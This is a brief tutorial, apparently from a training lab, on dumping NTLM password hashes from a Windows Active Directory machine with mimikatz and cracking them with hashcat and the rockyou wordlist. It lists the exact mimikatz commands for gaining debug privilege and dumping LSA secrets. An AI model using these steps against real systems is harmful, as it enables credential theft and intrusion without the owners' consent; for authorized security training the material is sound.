Dumping Hashes with mimikatz

Introduction

Mimikatz is a very popular and powerful post-exploitation tool mainly used for dumping user credentials inside of a active directory network

We'll be focusing on dumping the NTLM hashes with mimikatz and then cracking those hashes using hashcat

---

Dump Hashes w/ mimikatz

1. cd Downloads && mimikatz.exe this will cd into the directory that mimikatz is kept as well as run the mimikatz binary

   • 
2. privilege::debug ensure that the output is "Privilege '20' ok" - This ensures that you're running mimikatz as an administrator; if you don't run mimikatz as an administrator, mimikatz will not run properly

   • 
3. lsadump::lsa /patch Dump those hashes!

   • 

---

Crack those hashes w/ hashcat

1. hashcat -m 1000 <hash> rockyou.txt